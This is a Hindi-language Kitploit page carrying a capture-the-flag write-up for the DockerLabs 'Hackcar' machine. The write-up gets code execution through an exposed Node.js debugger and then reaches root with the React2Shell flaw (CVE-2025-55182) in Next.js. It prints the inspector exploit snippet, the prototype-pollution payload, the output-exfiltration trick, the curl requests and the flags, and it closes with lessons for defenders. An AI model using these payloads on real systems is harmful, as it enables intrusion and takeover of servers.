Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
hackcar-writeup — विवरण: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell) | Kitploit
उपकरण/GitHubGitHub/iapetus12/hackcar-writeup
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपोस्ट-शोषणCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंगलैब और अभ्यासArchived
GitHubiapetus12/hackcar-writeup

hackcar-writeup

विवरण: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)

13घं 16मि पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Hackcar - Writeup

प्लेटफ़ॉर्म: DockerLabs कठिनाई: मध्यम (कमोबेश, इसमें मज़ा है) लक्ष्य: webuser से root तक एक Next.js को तोड़ते हुए


शुरुआत: पुनरावलोकन

हमेशा की तरह, पहले सबसे पहले: देखें हमारे सामने क्या है।

root@kitploit:~
nmap -sC -sV -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js (Express middleware)
9229/tcp open  http    ????

रुको... 9229? यह पोर्ट सामान्य नहीं है। और एक पूर्ण स्कैन पुष्टि करता है कि केवल दो पोर्ट हैं:

root@kitploit:~
nmap -p- --min-rate 1000 -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE
8080/tcp open  http-proxy
9229/tcp open  unknown

9229 Node.js inspector (debugger) का विशिष्ट पोर्ट है। अगर यह बिना सुरक्षा के उजागर है, तो यह मूल रूप से कोड निष्पादन के लिए एक खुला दरवाज़ा है। आइए इसे जाँचें।

root@kitploit:~
curl -s http://172.17.0.2:9229/json
root@kitploit:~
[{
  "description": "node.js instance",
  "title": "/home/webuser/node_app/app.js",
  "webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]

बहुत बढ़िया। Node का debugger उजागर है, बिना प्रमाणीकरण के, और ऊपर से यह हमें बताता है कि ऐप कहाँ रहती है। यह सीधा RCE है।


चरण 1: Node.js Inspector के माध्यम से RCE

debugger उजागर होने के साथ हमें केवल WebSocket से जुड़ने और Node प्रक्रिया के अंदर जो चाहें चलाने के लिए Runtime.evaluate का उपयोग करने की आवश्यकता है।

मैंने Python में एक त्वरित स्क्रिप्ट बनाई जो debugger का URL निकालती है और process.mainModule.require('child_process').execSync() के साथ कमांड चलाती है:

root@kitploit:~
expression = ("process.mainModule.require('child_process')"
              f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")

उद्धरणों से लड़ने से बचने के लिए, मैं पूरा कमांड base64 में भेजता हूँ और इसे प्रक्रिया के अंदर ही डिकोड करता हूँ। पहला परीक्षण:

root@kitploit:~
python3 node_rce.py "id"
root@kitploit:~
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)

webuser के रूप में RCE। मशीन हमारे हाथ में है... या ऐसा मैंने सोचा था। पता चला कि असली मज़ा और छिपा हुआ था।

आइए प्रक्रियाओं को देखें कि मशीन पर और क्या चल रहा है:

root@kitploit:~
ps auxww
root@kitploit:~
root      7  0.0  0.0  sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root      8  0.0  0.0  npm exec next dev -p 3000 -H 127.0.0.1
root     30  0.0  0.0  node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root     42  0.8  2.4  next-server (v15.0.0-rc.1)

ध्यान दें! पोर्ट 3000 पर ROOT के रूप में चल रही एक Next.js संस्करण 15.0.0-rc.1 है (केवल localhost)। यह विशेषाधिकार की बू आ रही है... और CVE की भी।

चूँकि यह कंटेनर के अंदर केवल 127.0.0.1 पर सुन रही है, हम इसे बाहर से नहीं छू सकते। लेकिन हमारे पास RCE है, इसलिए हम अंदर से प्रवेश कर सकते हैं। पहले देखें यह क्या है:

root@kitploit:~
curl -s http://127.0.0.1:3000/

एक "Internal Administration Portal" दिखाई देता है — एक आंतरिक प्रशासन पोर्टल। सब बहुत लुभावना।

user flag हमें जल्दी मिल गई:

root@kitploit:~
DL{g2QrDUvg3HiqaWeZBbZa}

और अब उस Next.js के माध्यम से root तक escalate करने की बारी है।


चरण 2: React2Shell (CVE-2025-55182)

संस्करण Next.js 15.0.0-rc.1 है, जो React 19 का उपयोग करता है जो प्रसिद्ध React2Shell (CVE-2025-55182) के प्रति संवेदनशील है: RSC parser (React Server Components / Flight protocol) में prototype pollution के कारण एक गंभीर RCE (CVSS 10.0)।

exploit एक विकृत multipart/form-data है जिसमें Next-Action header है, जो React parser को एक ज़हरीली वस्तु deserialize करने का कारण बनता है जो अंततः हमारे कोड के साथ Function constructor को कॉल करती है:

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B0\"}",
  "_response": {
    "_prefix": "<निष्पादित करने के लिए JS कोड>",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

यानी: Chunk.prototype.then को ज़हरीला बनाया जाता है, parser हमारा मॉडल लोड करता है, और promise को resolve करते समय हमारा JavaScript Next.js प्रक्रिया में निष्पादित होता है, जो root के रूप में चल रही है।

output निकालने के लिए मैंने "redirect" मोड का उपयोग किया: कोड कमांड चलाता है, परिणाम का base64 बनाता है और इसे एक Error की digest प्रॉपर्टी में डालता है, जिसे Next.js एक header के रूप में लौटाता है:

root@kitploit:~
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;

अंतिम अनुरोध:

root@kitploit:~
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
  -H 'Next-Action: x' \
  -F '0=</tmp/p0.txt' \
  -F '1=</tmp/p1.txt'

सर्वर 500 प्रतिक्रिया देता है (यह सामान्य है, यह जानबूझकर एक त्रुटि है) और header में:

root@kitploit:~
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...

हम डिकोड करते हैं:

root@kitploit:~
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

हम ROOT हैं। और flag:

root@kitploit:~
python3 react2shell.py "cat /root/root.txt"
root@kitploit:~
DL{Z8Gc5NFYMrH3W4vv5ZWa}

हमले का सारांश

root@kitploit:~
nmap
 └─ 8080 (web Express, स्थिर, शुद्ध धुआँ)
 └─ 9229 (Node.js inspector उजागर)
      └─ Runtime.evaluate के माध्यम से webuser के रूप में RCE
           └─ गणना: 127.0.0.1:3000 पर ROOT के रूप में Next.js 15.0.0-rc.1
                └─ CVE-2025-55182 (React2Shell): root RCE
                     └─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}

Flags:

फ़ाइलFlag
/home/webuser/user.txtDL{g2QrDUvg3HiqaWeZBbZa}
/root/root.txtDL{Z8Gc5NFYMrH3W4vv5ZWa}

कमज़ोरियाँ (ऐसा क्यों हुआ)

#कमज़ोरीCWEहमें क्या मिला
1बिना प्रमाणीकरण के Node.js inspector (पोर्ट 9229)CWE-284webuser के रूप में RCE
2पुरानी Next.js 15.0.0-rc.1 (React2Shell, CVE-2025-55182)CWE-1321 / CWE-502root के रूप में RCE

सबक:

  • Node debugger को कभी production में उजागर न करें (एक "आंतरिक" नेटवर्क में भी नहीं)।
  • अपनी dependencies अपडेट करें। यह Next.js महीनों से एक ज्ञात गंभीर CVE के साथ है।
  • सेवाओं को केवल localhost पर bind न करें यदि प्रक्रिया पहले से ही समझौता किया गया है: webuser localhost:3000 तक पहुँच सकता था।
  • DockerLabs हमेशा सीखने के लिए है, वास्तविक वातावरण में उलझने के लिए नहीं ;)

उपकरण

उपकरणउपयोग
nmapपोर्ट पुनरावलोकन
curlवेब गणना और exploit चलाना
websocket-client (Python)Node inspector से बात करना
jadxपिछली मशीन (यहाँ नहीं, लेकिन मुझे अभी भी यह सुंदर लगता है)
base64उद्धरणों की परेशानी के बिना payloads परिवहन

शैक्षिक उद्देश्यों के लिए Writeup। केवल उन मशीनों को छुएं जहाँ आपके पास प्राधिकरण है (DockerLabs, HTB, आपकी अपनी प्रयोगशाला)।

टूल डाउनलोड करें